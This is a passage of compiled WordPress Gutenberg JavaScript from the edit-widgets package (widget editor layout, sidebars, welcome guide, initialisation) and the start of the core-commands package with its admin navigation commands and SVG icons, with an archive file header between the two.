"Browse all" in the quick inserter will set the rootClientId to the current block. // Otherwise, it will just be undefined, and we'll have to handle it differently below. if (insertionPoint.rootClientId) { return insertionPoint; } const clientId = getBlockSelectionEnd() || firstRootId; const rootClientId = getBlockRootClientId(clientId); // If the selected block is at the root level, it's a widget area and // blocks can't be inserted here. Return this block as the root and the // last child clientId indicating insertion at the end. if (clientId && rootClientId === '') { return { rootClientId: clientId, insertionIndex: getBlockOrder(clientId).length }; } return { rootClientId, insertionIndex: getBlockIndex(clientId) + 1 }; }, [firstRootId]); }; /* harmony default export */ const use_widget_library_insertion_point = (useWidgetLibraryInsertionPoint); ;// ./node_modules/@wordpress/edit-widgets/build-module/components/secondary-sidebar/inserter-sidebar.js /** * WordPress dependencies */ /** * Internal dependencies */ function InserterSidebar() { const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('medium', '<'); const { rootClientId, insertionIndex } = use_widget_library_insertion_point(); const { setIsInserterOpened } = (0,external_wp_data_namespaceObject.useDispatch)(store_store); const closeInserter = (0,external_wp_element_namespaceObject.useCallback)(() => { return setIsInserterOpened(false); }, [setIsInserterOpened]); const [inserterDialogRef, inserterDialogProps] = (0,external_wp_compose_namespaceObject.__experimentalUseDialog)({ onClose: closeInserter, focusOnMount: true }); const libraryRef = (0,external_wp_element_namespaceObject.useRef)(); return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ref: inserterDialogRef, ...inserterDialogProps, className: "edit-widgets-layout__inserter-panel", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-widgets-layout__inserter-panel-content", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__experimentalLibrary, { showInserterHelpPanel: true, shouldFocusBlock: isMobileViewport, rootClientId: rootClientId, __experimentalInsertionIndex: insertionIndex, ref: libraryRef, onClose: closeInserter }) }) }); } ;// ./node_modules/@wordpress/edit-widgets/build-module/components/secondary-sidebar/list-view-sidebar.js /** * WordPress dependencies */ /** * Internal dependencies */ function ListViewSidebar() { const { setIsListViewOpened } = (0,external_wp_data_namespaceObject.useDispatch)(store_store); const { getListViewToggleRef } = unlock((0,external_wp_data_namespaceObject.useSelect)(store_store)); // Use internal state instead of a ref to make sure that the component // re-renders when the dropZoneElement updates. const [dropZoneElement, setDropZoneElement] = (0,external_wp_element_namespaceObject.useState)(null); const focusOnMountRef = (0,external_wp_compose_namespaceObject.useFocusOnMount)('firstElement'); // When closing the list view, focus should return to the toggle button. const closeListView = (0,external_wp_element_namespaceObject.useCallback)(() => { setIsListViewOpened(false); getListViewToggleRef().current?.focus(); }, [getListViewToggleRef, setIsListViewOpened]); const closeOnEscape = (0,external_wp_element_namespaceObject.useCallback)(event => { if (event.keyCode === external_wp_keycodes_namespaceObject.ESCAPE && !event.defaultPrevented) { event.preventDefault(); closeListView(); } }, [closeListView]); return ( /*#__PURE__*/ // eslint-disable-next-line jsx-a11y/no-static-element-interactions (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "edit-widgets-editor__list-view-panel", onKeyDown: closeOnEscape, children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "edit-widgets-editor__list-view-panel-header", children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("strong", { children: (0,external_wp_i18n_namespaceObject.__)('List View') }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, { icon: close_small, label: (0,external_wp_i18n_namespaceObject.__)('Close'), onClick: closeListView, size: "compact" })] }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-widgets-editor__list-view-panel-content", ref: (0,external_wp_compose_namespaceObject.useMergeRefs)([focusOnMountRef, setDropZoneElement]), children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__experimentalListView, { dropZoneElement: dropZoneElement }) })] }) ); } ;// ./node_modules/@wordpress/edit-widgets/build-module/components/secondary-sidebar/index.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Internal dependencies */ function SecondarySidebar() { const { isInserterOpen, isListViewOpen } = (0,external_wp_data_namespaceObject.useSelect)(select => { const { isInserterOpened, isListViewOpened } = select(store_store); return { isInserterOpen: isInserterOpened(), isListViewOpen: isListViewOpened() }; }, []); if (isInserterOpen) { return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(InserterSidebar, {}); } if (isListViewOpen) { return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ListViewSidebar, {}); } return null; } ;// ./node_modules/@wordpress/edit-widgets/build-module/components/layout/interface.js /** * WordPress dependencies */ /** * Internal dependencies */ const interfaceLabels = { /* translators: accessibility text for the widgets screen top bar landmark region. */ header: (0,external_wp_i18n_namespaceObject.__)('Widgets top bar'), /* translators: accessibility text for the widgets screen content landmark region. */ body: (0,external_wp_i18n_namespaceObject.__)('Widgets and blocks'), /* translators: accessibility text for the widgets screen settings landmark region. */ sidebar: (0,external_wp_i18n_namespaceObject.__)('Widgets settings'), /* translators: accessibility text for the widgets screen footer landmark region. */ footer: (0,external_wp_i18n_namespaceObject.__)('Widgets footer') }; function Interface({ blockEditorSettings }) { const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('medium', '<'); const isHugeViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('huge', '>='); const { setIsInserterOpened, setIsListViewOpened, closeGeneralSidebar } = (0,external_wp_data_namespaceObject.useDispatch)(store_store); const { hasBlockBreadCrumbsEnabled, hasSidebarEnabled, isInserterOpened, isListViewOpened } = (0,external_wp_data_namespaceObject.useSelect)(select => ({ hasSidebarEnabled: !!select(store).getActiveComplementaryArea(store_store.name), isInserterOpened: !!select(store_store).isInserterOpened(), isListViewOpened: !!select(store_store).isListViewOpened(), hasBlockBreadCrumbsEnabled: !!select(external_wp_preferences_namespaceObject.store).get('core/edit-widgets', 'showBlockBreadcrumbs') }), []); // Inserter and Sidebars are mutually exclusive (0,external_wp_element_namespaceObject.useEffect)(() => { if (hasSidebarEnabled && !isHugeViewport) { setIsInserterOpened(false); setIsListViewOpened(false); } }, [hasSidebarEnabled, isHugeViewport]); (0,external_wp_element_namespaceObject.useEffect)(() => { if ((isInserterOpened || isListViewOpened) && !isHugeViewport) { closeGeneralSidebar(); } }, [isInserterOpened, isListViewOpened, isHugeViewport]); const secondarySidebarLabel = isListViewOpened ? (0,external_wp_i18n_namespaceObject.__)('List View') : (0,external_wp_i18n_namespaceObject.__)('Block Library'); const hasSecondarySidebar = isListViewOpened || isInserterOpened; return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(interface_skeleton, { labels: { ...interfaceLabels, secondarySidebar: secondarySidebarLabel }, header: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(header, {}), secondarySidebar: hasSecondarySidebar && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SecondarySidebar, {}), sidebar: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(complementary_area.Slot, { scope: "core/edit-widgets" }), content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WidgetAreasBlockEditorContent, { blockEditorSettings: blockEditorSettings }) }), footer: hasBlockBreadCrumbsEnabled && !isMobileViewport && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-widgets-layout__footer", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockBreadcrumb, { rootLabelText: (0,external_wp_i18n_namespaceObject.__)('Widgets') }) }) }); } /* harmony default export */ const layout_interface = (Interface); ;// ./node_modules/@wordpress/edit-widgets/build-module/components/layout/unsaved-changes-warning.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Warns the user if there are unsaved changes before leaving the editor. * * This is a duplicate of the component implemented in the editor package. * Duplicated here as edit-widgets doesn't depend on editor. * * @return {Component} The component. */ function UnsavedChangesWarning() { const isDirty = (0,external_wp_data_namespaceObject.useSelect)(select => { const { getEditedWidgetAreas } = select(store_store); const editedWidgetAreas = getEditedWidgetAreas(); return editedWidgetAreas?.length > 0; }, []); (0,external_wp_element_namespaceObject.useEffect)(() => { /** * Warns the user if there are unsaved changes before leaving the editor. * * @param {Event} event `beforeunload` event. * * @return {string | undefined} Warning prompt message, if unsaved changes exist. */ const warnIfUnsavedChanges = event => { if (isDirty) { event.returnValue = (0,external_wp_i18n_namespaceObject.__)('You have unsaved changes. If you proceed, they will be lost.'); return event.returnValue; } }; window.addEventListener('beforeunload', warnIfUnsavedChanges); return () => { window.removeEventListener('beforeunload', warnIfUnsavedChanges); }; }, [isDirty]); return null; } ;// ./node_modules/@wordpress/edit-widgets/build-module/components/welcome-guide/index.js /** * WordPress dependencies */ /** * Internal dependencies */ function WelcomeGuide() { var _widgetAreas$filter$l; const isActive = (0,external_wp_data_namespaceObject.useSelect)(select => !!select(external_wp_preferences_namespaceObject.store).get('core/edit-widgets', 'welcomeGuide'), []); const { toggle } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_preferences_namespaceObject.store); const widgetAreas = (0,external_wp_data_namespaceObject.useSelect)(select => select(store_store).getWidgetAreas({ per_page: -1 }), []); if (!isActive) { return null; } const isEntirelyBlockWidgets = widgetAreas?.every(widgetArea => widgetArea.id === 'wp_inactive_widgets' || widgetArea.widgets.every(widgetId => widgetId.startsWith('block-'))); const numWidgetAreas = (_widgetAreas$filter$l = widgetAreas?.filter(widgetArea => widgetArea.id !== 'wp_inactive_widgets').length) !== null && _widgetAreas$filter$l !== void 0 ? _widgetAreas$filter$l : 0; return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Guide, { className: "edit-widgets-welcome-guide", contentLabel: (0,external_wp_i18n_namespaceObject.__)('Welcome to block Widgets'), finishButtonText: (0,external_wp_i18n_namespaceObject.__)('Get started'), onFinish: () => toggle('core/edit-widgets', 'welcomeGuide'), pages: [{ image: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuideImage, { nonAnimatedSrc: "https://s.w.org/images/block-editor/welcome-canvas.svg", animatedSrc: "https://s.w.org/images/block-editor/welcome-canvas.gif" }), content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", { className: "edit-widgets-welcome-guide__heading", children: (0,external_wp_i18n_namespaceObject.__)('Welcome to block Widgets') }), isEntirelyBlockWidgets ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "edit-widgets-welcome-guide__text", children: (0,external_wp_i18n_namespaceObject.sprintf)( // Translators: %s: Number of block areas in the current theme. (0,external_wp_i18n_namespaceObject._n)('Your theme provides %s “block” area for you to add and edit content. Try adding a search bar, social icons, or other types of blocks here and see how they’ll look on your site.', 'Your theme provides %s different “block” areas for you to add and edit content. Try adding a search bar, social icons, or other types of blocks here and see how they’ll look on your site.', numWidgetAreas), numWidgetAreas) }) }) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "edit-widgets-welcome-guide__text", children: (0,external_wp_i18n_namespaceObject.__)('You can now add any block to your site’s widget areas. Don’t worry, all of your favorite widgets still work flawlessly.') }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("p", { className: "edit-widgets-welcome-guide__text", children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("strong", { children: (0,external_wp_i18n_namespaceObject.__)('Want to stick with the old widgets?') }), ' ', /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ExternalLink, { href: (0,external_wp_i18n_namespaceObject.__)('https://wordpress.org/plugins/classic-widgets/'), children: (0,external_wp_i18n_namespaceObject.__)('Get the Classic Widgets plugin.') })] })] })] }) }, { image: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuideImage, { nonAnimatedSrc: "https://s.w.org/images/block-editor/welcome-editor.svg", animatedSrc: "https://s.w.org/images/block-editor/welcome-editor.gif" }), content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", { className: "edit-widgets-welcome-guide__heading", children: (0,external_wp_i18n_namespaceObject.__)('Customize each block') }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "edit-widgets-welcome-guide__text", children: (0,external_wp_i18n_namespaceObject.__)('Each block comes with its own set of controls for changing things like color, width, and alignment. These will show and hide automatically when you have a block selected.') })] }) }, { image: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuideImage, { nonAnimatedSrc: "https://s.w.org/images/block-editor/welcome-library.svg", animatedSrc: "https://s.w.org/images/block-editor/welcome-library.gif" }), content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", { className: "edit-widgets-welcome-guide__heading", children: (0,external_wp_i18n_namespaceObject.__)('Explore all blocks') }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "edit-widgets-welcome-guide__text", children: (0,external_wp_element_namespaceObject.createInterpolateElement)((0,external_wp_i18n_namespaceObject.__)('All of the blocks available to you live in the block library. You’ll find it wherever you see the <InserterIconImage /> icon.'), { InserterIconImage: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("img", { className: "edit-widgets-welcome-guide__inserter-icon", alt: (0,external_wp_i18n_namespaceObject.__)('inserter'), src: "data:image/svg+xml,%3Csvg width='18' height='18' viewBox='0 0 18 18' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Crect width='18' height='18' rx='2' fill='%231E1E1E'/%3E%3Cpath d='M9.22727 4V14M4 8.77273H14' stroke='white' stroke-width='1.5'/%3E%3C/svg%3E%0A" }) }) })] }) }, { image: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuideImage, { nonAnimatedSrc: "https://s.w.org/images/block-editor/welcome-documentation.svg", animatedSrc: "https://s.w.org/images/block-editor/welcome-documentation.gif" }), content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", { className: "edit-widgets-welcome-guide__heading", children: (0,external_wp_i18n_namespaceObject.__)('Learn more') }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "edit-widgets-welcome-guide__text", children: (0,external_wp_element_namespaceObject.createInterpolateElement)((0,external_wp_i18n_namespaceObject.__)("New to the block editor? Want to learn more about using it? <a>Here's a detailed guide.</a>"), { a: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ExternalLink, { href: (0,external_wp_i18n_namespaceObject.__)('https://wordpress.org/documentation/article/wordpress-block-editor/') }) }) })] }) }] }); } function WelcomeGuideImage({ nonAnimatedSrc, animatedSrc }) { return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("picture", { className: "edit-widgets-welcome-guide__image", children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("source", { srcSet: nonAnimatedSrc, media: "(prefers-reduced-motion: reduce)" }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("img", { src: animatedSrc, width: "312", height: "240", alt: "" })] }); } ;// ./node_modules/@wordpress/edit-widgets/build-module/components/layout/index.js /** * WordPress dependencies */ /** * Internal dependencies */ function Layout({ blockEditorSettings }) { const { createErrorNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store); function onPluginAreaError(name) { createErrorNotice((0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: plugin name */ (0,external_wp_i18n_namespaceObject.__)('The "%s" plugin has encountered an error and cannot be rendered.'), name)); } const navigateRegionsProps = (0,external_wp_components_namespaceObject.__unstableUseNavigateRegions)(); return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ErrorBoundary, { children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: navigateRegionsProps.className, ...navigateRegionsProps, ref: navigateRegionsProps.ref, children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(WidgetAreasBlockEditorProvider, { blockEditorSettings: blockEditorSettings, children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(layout_interface, { blockEditorSettings: blockEditorSettings }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Sidebar, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_plugins_namespaceObject.PluginArea, { onError: onPluginAreaError }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(UnsavedChangesWarning, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuide, {})] }) }) }); } /* harmony default export */ const layout = (Layout); ;// ./node_modules/@wordpress/edit-widgets/build-module/index.js /** * WordPress dependencies */ /** * Internal dependencies */ const disabledBlocks = ['core/more', 'core/freeform', 'core/template-part', ...(ALLOW_REUSABLE_BLOCKS ? [] : ['core/block'])]; /** * Initializes the block editor in the widgets screen. * * @param {string} id ID of the root element to render the screen in. * @param {Object} settings Block editor settings. */ function initializeEditor(id, settings) { const target = document.getElementById(id); const root = (0,external_wp_element_namespaceObject.createRoot)(target); const coreBlocks = (0,external_wp_blockLibrary_namespaceObject.__experimentalGetCoreBlocks)().filter(block => { return !(disabledBlocks.includes(block.name) || block.name.startsWith('core/post') || block.name.startsWith('core/query') || block.name.startsWith('core/site') || block.name.startsWith('core/navigation')); }); (0,external_wp_data_namespaceObject.dispatch)(external_wp_preferences_namespaceObject.store).setDefaults('core/edit-widgets', { fixedToolbar: false, welcomeGuide: true, showBlockBreadcrumbs: true, themeStyles: true }); (0,external_wp_data_namespaceObject.dispatch)(external_wp_blocks_namespaceObject.store).reapplyBlockTypeFilters(); (0,external_wp_blockLibrary_namespaceObject.registerCoreBlocks)(coreBlocks); (0,external_wp_widgets_namespaceObject.registerLegacyWidgetBlock)(); if (false) {} (0,external_wp_widgets_namespaceObject.registerLegacyWidgetVariations)(settings); registerBlock(widget_area_namespaceObject); (0,external_wp_widgets_namespaceObject.registerWidgetGroupBlock)(); settings.__experimentalFetchLinkSuggestions = (search, searchOptions) => (0,external_wp_coreData_namespaceObject.__experimentalFetchLinkSuggestions)(search, searchOptions, settings); // As we are unregistering `core/freeform` to avoid the Classic block, we must // replace it with something as the default freeform content handler. Failure to // do this will result in errors in the default block parser. // see: https://github.com/WordPress/gutenberg/issues/33097 (0,external_wp_blocks_namespaceObject.setFreeformContentHandlerName)('core/html'); root.render(/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.StrictMode, { children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(layout, { blockEditorSettings: settings }) })); return root; } /** * Compatibility export under the old `initialize` name. */ const initialize = initializeEditor; function reinitializeEditor() { external_wp_deprecated_default()('wp.editWidgets.reinitializeEditor', { since: '6.2', version: '6.3' }); } /** * Function to register an individual block. * * @param {Object} block The block to be registered. */ const registerBlock = block => { if (!block) { return; } const { metadata, settings, name } = block; if (metadata) { (0,external_wp_blocks_namespaceObject.unstable__bootstrapServerSideBlockDefinitions)({ [name]: metadata }); } (0,external_wp_blocks_namespaceObject.registerBlockType)(name, settings); }; (window.wp = window.wp || {}).editWidgets = __webpack_exports__; /******/ })() ; core-commands.js 0000644 00000057516 15004111010 0007626 0 ustar 00 /******/ (() => { // webpackBootstrap /******/ "use strict"; /******/ // The require scope /******/ var __webpack_require__ = {}; /******/ /************************************************************************/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /******/ /* webpack/runtime/make namespace object */ /******/ (() => { /******/ // define __esModule on exports /******/ __webpack_require__.r = (exports) => { /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // ESM COMPAT FLAG __webpack_require__.r(__webpack_exports__); // EXPORTS __webpack_require__.d(__webpack_exports__, { privateApis: () => (/* reexport */ privateApis) }); ;// external ["wp","commands"] const external_wp_commands_namespaceObject = window["wp"]["commands"]; ;// external ["wp","i18n"] const external_wp_i18n_namespaceObject = window["wp"]["i18n"]; ;// external ["wp","primitives"] const external_wp_primitives_namespaceObject = window["wp"]["primitives"]; ;// external "ReactJSXRuntime" const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"]; ;// ./node_modules/@wordpress/icons/build-module/library/plus.js /** * WordPress dependencies */ const plus = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M11 12.5V17.5H12.5V12.5H17.5V11H12.5V6H11V11H6V12.5H11Z" }) }); /* harmony default export */ const library_plus = (plus); ;// external ["wp","url"] const external_wp_url_namespaceObject = window["wp"]["url"]; ;// external ["wp","coreData"] const external_wp_coreData_namespaceObject = window["wp"]["coreData"]; ;// external ["wp","data"] const external_wp_data_namespaceObject = window["wp"]["data"]; ;// external ["wp","element"] const external_wp_element_namespaceObject = window["wp"]["element"]; ;// external ["wp","notices"] const external_wp_notices_namespaceObject = window["wp"]["notices"]; ;// external ["wp","router"] const external_wp_router_namespaceObject = window["wp"]["router"]; ;// external ["wp","privateApis"] const external_wp_privateApis_namespaceObject = window["wp"]["privateApis"]; ;// ./node_modules/@wordpress/core-commands/build-module/lock-unlock.js /** * WordPress dependencies */ const { lock, unlock } = (0,external_wp_privateApis_namespaceObject.__dangerousOptInToUnstableAPIsOnlyForCoreModules)('I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.', '@wordpress/core-commands'); ;// ./node_modules/@wordpress/core-commands/build-module/admin-navigation-commands.js /** * WordPress dependencies */ /** * Internal dependencies */ const { useHistory } = unlock(external_wp_router_namespaceObject.privateApis); const getAddNewPageCommand = () => function useAddNewPageCommand() { const isSiteEditor = (0,external_wp_url_namespaceObject.getPath)(window.location.href)?.includes('site-editor.php'); const history = useHistory(); const isBlockBasedTheme = (0,external_wp_data_namespaceObject.useSelect)(select => { return select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.is_block_theme; }, []); const { saveEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store); const { createErrorNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store); const createPageEntity = (0,external_wp_element_namespaceObject.useCallback)(async ({ close }) => { try { const page = await saveEntityRecord('postType', 'page', { status: 'draft' }, { throwOnError: true }); if (page?.id) { history.navigate(`/page/${page.id}?canvas=edit`); } } catch (error) { const errorMessage = error.message && error.code !== 'unknown_error' ? error.message : (0,external_wp_i18n_namespaceObject.__)('An error occurred while creating the item.'); createErrorNotice(errorMessage, { type: 'snackbar' }); } finally { close(); } }, [createErrorNotice, history, saveEntityRecord]); const commands = (0,external_wp_element_namespaceObject.useMemo)(() => { const addNewPage = isSiteEditor && isBlockBasedTheme ? createPageEntity : () => document.location.href = 'post-new.php?post_type=page'; return [{ name: 'core/add-new-page', label: (0,external_wp_i18n_namespaceObject.__)('Add new page'), icon: library_plus, callback: addNewPage }]; }, [createPageEntity, isSiteEditor, isBlockBasedTheme]); return { isLoading: false, commands }; }; function useAdminNavigationCommands() { (0,external_wp_commands_namespaceObject.useCommand)({ name: 'core/add-new-post', label: (0,external_wp_i18n_namespaceObject.__)('Add new post'), icon: library_plus, callback: () => { document.location.assign('post-new.php'); } }); (0,external_wp_commands_namespaceObject.useCommandLoader)({ name: 'core/add-new-page', hook: getAddNewPageCommand() }); } ;// ./node_modules/@wordpress/icons/build-module/library/post.js /** * WordPress dependencies */ const post = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m7.3 9.7 1.4 1.4c.2-.2.3-.3.4-.5 0 0 0-.1.1-.1.3-.5.4-1.1.3-1.6L12 7 9 4 7.2 6.5c-.6-.1-1.1 0-1.6.3 0 0-.1 0-.1.1-.3.1-.4.2-.6.4l1.4 1.4L4 11v1h1l2.3-2.3zM4 20h9v-1.5H4V20zm0-5.5V16h16v-1.5H4z" }) }); /* harmony default export */ const library_post = (post); ;// ./node_modules/@wordpress/icons/build-module/library/page.js /** * WordPress dependencies */ const page = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M15.5 7.5h-7V9h7V7.5Zm-7 3.5h7v1.5h-7V11Zm7 3.5h-7V16h7v-1.5Z" }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M17 4H7a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V6a2 2 0 0 0-2-2ZM7 5.5h10a.5.5 0 0 1 .5.5v12a.5.5 0 0 1-.5.5H7a.5.5 0 0 1-.5-.5V6a.5.5 0 0 1 .5-.5Z" })] }); /* harmony default export */ const library_page = (page); ;// ./node_modules/@wordpress/icons/build-module/library/layout.js /** * WordPress dependencies */ const layout = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z" }) }); /* harmony default export */ const library_layout = (layout); ;// ./node_modules/@wordpress/icons/build-module/library/symbol-filled.js /** * WordPress dependencies */ const symbolFilled = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-17.6 1L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z" }) }); /* harmony default export */ const symbol_filled = (symbolFilled); ;// ./node_modules/@wordpress/icons/build-module/library/navigation.js /** * WordPress dependencies */ const navigation = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12 4c-4.4 0-8 3.6-8 8s3.6 8 8 8 8-3.6 8-8-3.6-8-8-8zm0 14.5c-3.6 0-6.5-2.9-6.5-6.5S8.4 